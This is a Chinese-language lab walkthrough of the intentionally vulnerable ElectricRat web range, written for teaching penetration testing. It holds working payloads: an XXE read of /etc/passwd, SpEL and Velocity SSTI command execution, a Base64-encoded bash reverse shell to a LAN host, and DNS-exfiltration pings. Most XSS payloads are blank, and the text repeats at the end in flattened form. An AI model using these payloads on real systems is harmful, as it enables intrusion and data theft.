[张三的渗透日记]电气鼠靶场系统靶场walkthrough
字数 1242 2025-08-11 11:39:36

电气鼠靶场系统渗透测试教学文档

1. 靶场概述

电气鼠靶场系统是一个带有漏洞的Web应用程序,旨在为Web安全渗透测试学习者提供学习和实践的机会。靶场包含了多种常见的Web安全漏洞,包括但不限于:

  • XSS跨站脚本攻击
  • URL重定向漏洞
  • XXE实体注入
  • SpEL表达式注入
  • SSTI模板注入
  • JAVA反序列化漏洞

环境搭建

推荐使用Docker搭建环境:

unzip ElectricRat-docker.zip
sudo docker-compose up -d
sudo docker exec electricrat-mysql /bin/bash -c 'cd /data && mysqladmin -u root -pAAsd123rdsgA create mycms && mysqladmin -u root -pAAsd123rdsgA create mycms_gbk && mysql -u root -pAAsd123rdsgA -Dmycms < dump-mycms-202302201704.sql && mysql -u root -pAAsd123rdsgA -Dmycms_gbk < dump-mycms_gbk-202302201704.sql'

访问地址:http://xxx:12666/ElectricRat/index.html

2. XSS跨站脚本攻击

2.1 反射型XSS(GET)

  • 触发方式:参数通过GET方式传参
  • 过滤情况:无过滤
  • Payload
    
    

2.2 反射型XSS(POST)

  • 触发方式:参数通过POST方式传参
  • 过滤情况:无过滤
  • Payload
    
    

2.3 存储型XSS

  • 过滤情况:无过滤
  • Payload
    
    

2.4 DOM型XSS

  • 过滤情况:无过滤
  • Payload
    
    

2.5 XSS盲打

  • 场景:模拟留言板功能,攻击者可利用存储型XSS漏洞攻击查看留言板的后台管理员
  • Payload
    
    

2.6 XSS过滤绕过

情况1:过滤<script>标签

  • 过滤代码
    let content = $("#own-text")[0].value.replaceAll("<script", "")
    
  • Payload
    
    

情况2:转义实体编码

  • 过滤代码
    function htmlEncode(str) {
      let s = "";
      if (str.length === 0) { return ""; }
      s = str.replace(/&/g, "&ampamp;");
      s = s.replace(/</g, "&amplt;");
      s = s.replace(/>/g, "&ampgt;");
      s = s.replace(/ /g, " ");
      s = s.replace(/\'/g, "&ampapos;");
      s = s.replace(/\"/g, "&ampquot;");
      return s;
    }
    
  • 绕过思路:利用单引号未完全过滤的问题
  • Payload
    'OnClick='alert(/雨下整夜/)'
    

情况3:href输出

  • 过滤情况:无过滤
  • Payload
    123><
    

情况4:JS输出

  • 代码分析
    let content = $("#own-text")[0].value;
    let oScript = document.createElement('script');
    oScript.type = 'text/javascript';
    oScript.text = `let num = '${content}'; num += "1";`;
    
  • Payload1(针对innerHTML):
    
    
  • Payload2(针对动态生成的JS):
    ';alert(/雨下整夜/);</script>//
    

3. URL重定向漏洞

漏洞原理

利用window.location.href方法实现跳转,可能导致钓鱼攻击。

实际应用场景

  1. 内容分享功能
  2. 登录成功跳转功能

挖掘要点

  • 检查所有URL参数输入点
  • 检查所有跳转功能点

4. XXE实体注入

漏洞代码分析

public void readXML(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String result="";
    try {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        InputStream ist = request.getInputStream();
        Document doc = db.parse(ist);
        String username = doc.getElementsByTagName("username").item(0).getTextContent();
        String password = doc.getElementsByTagName("password").item(0).getTextContent();
        int isLogin = username.equals("admin") && password.equals("123456") ? 1 : 0;
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username);
    }
    // ...
}

利用Payload

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe1 SYSTEM "file:///etc/passwd">
]>
<yxzy>
    <username>&xxe1;</username>
    <password>&xxe1;</password>
</yxzy>

5. SpEL表达式注入

漏洞背景

类似经典的whitelabel error page SpEL RCE漏洞,Spring Boot处理参数值出错时,URL中的参数值会被当作SpEL表达式解析执行。

漏洞代码

public class SpelServlet extends BaseServlet {
    public void spelView(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String apply = request.getHeader("apply");
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(apply);
        System.out.println(expression.getValue().toString());
        response.getWriter().append(expression.getValue().toString());
    }
}

利用Payload

  1. 基本测试:

    2*2
    
  2. 命令执行:

    T(java.lang.Runtime).getRuntime().exec("whoami")
    
  3. 反弹Shell(Base64编码):

    T(java.lang.Runtime).getRuntime().exec("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'")
    
  4. DNS外带:

    T(java.lang.Runtime).getRuntime().exec("ping zxo5b9.dnslog.cn")
    

6. SSTI模板注入

漏洞代码

使用Velocity模板引擎:

public void showTemple(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String template = request.getParameter("template");
    Velocity.init();
    VelocityContext context = new VelocityContext();
    StringWriter sw = new StringWriter();
    Velocity.evaluate(context, sw, "test", template);
}

利用Payload

#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ping 7m6z1d.dnslog.cn")

7. JAVA反序列化

漏洞流程

  1. getRemeberMe
  2. deserialize
  3. setRememberMe
  4. serializeView

关键代码

public void serializeView(HttpServletRequest request, HttpServletResponse response) {
    try {
        Cookie hasCookie = checkCookie(request);
        byte[] decode = Base64.getDecoder().decode(hasCookie.getValue());
        ByteArrayInputStream bytes = new ByteArrayInputStream(decode);
        ObjectInputStream in = new ObjectInputStream(bytes);
        Object o = in.readObject();
        response.getWriter().append(((UserSerializeEntity)o).getRes());
    }
    // ...
}

利用Payload

反弹Shell(Base64编码):

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

8. 总结

电气鼠靶场系统涵盖了多种常见的Web安全漏洞,通过实践这些漏洞可以帮助学习者:

  1. 理解各类漏洞的原理和利用方式
  2. 掌握绕过常见过滤的方法
  3. 学习漏洞挖掘的思路和技巧
  4. 提高实际渗透测试的能力

建议学习者按照漏洞类型逐个实践,并尝试自行编写利用代码,深入理解每种漏洞的利用方式和防御措施。

电气鼠靶场系统渗透测试教学文档 1. 靶场概述 电气鼠靶场系统是一个带有漏洞的Web应用程序,旨在为Web安全渗透测试学习者提供学习和实践的机会。靶场包含了多种常见的Web安全漏洞,包括但不限于: XSS跨站脚本攻击 URL重定向漏洞 XXE实体注入 SpEL表达式注入 SSTI模板注入 JAVA反序列化漏洞 环境搭建 推荐使用Docker搭建环境: 访问地址: http://xxx:12666/ElectricRat/index.html 2. XSS跨站脚本攻击 2.1 反射型XSS(GET) 触发方式 :参数通过GET方式传参 过滤情况 :无过滤 Payload : 2.2 反射型XSS(POST) 触发方式 :参数通过POST方式传参 过滤情况 :无过滤 Payload : 2.3 存储型XSS 过滤情况 :无过滤 Payload : 2.4 DOM型XSS 过滤情况 :无过滤 Payload : 2.5 XSS盲打 场景 :模拟留言板功能,攻击者可利用存储型XSS漏洞攻击查看留言板的后台管理员 Payload : 2.6 XSS过滤绕过 情况1:过滤 <script> 标签 过滤代码 : Payload : 情况2:转义实体编码 过滤代码 : 绕过思路 :利用单引号未完全过滤的问题 Payload : 情况3:href输出 过滤情况 :无过滤 Payload : 情况4:JS输出 代码分析 : Payload1 (针对innerHTML): Payload2 (针对动态生成的JS): 3. URL重定向漏洞 漏洞原理 利用 window.location.href 方法实现跳转,可能导致钓鱼攻击。 实际应用场景 内容分享功能 登录成功跳转功能 挖掘要点 检查所有URL参数输入点 检查所有跳转功能点 4. XXE实体注入 漏洞代码分析 利用Payload 5. SpEL表达式注入 漏洞背景 类似经典的whitelabel error page SpEL RCE漏洞,Spring Boot处理参数值出错时,URL中的参数值会被当作SpEL表达式解析执行。 漏洞代码 利用Payload 基本测试: 命令执行: 反弹Shell(Base64编码): DNS外带: 6. SSTI模板注入 漏洞代码 使用Velocity模板引擎: 利用Payload 7. JAVA反序列化 漏洞流程 getRemeberMe deserialize setRememberMe serializeView 关键代码 利用Payload 反弹Shell(Base64编码): 8. 总结 电气鼠靶场系统涵盖了多种常见的Web安全漏洞,通过实践这些漏洞可以帮助学习者: 理解各类漏洞的原理和利用方式 掌握绕过常见过滤的方法 学习漏洞挖掘的思路和技巧 提高实际渗透测试的能力 建议学习者按照漏洞类型逐个实践,并尝试自行编写利用代码,深入理解每种漏洞的利用方式和防御措施。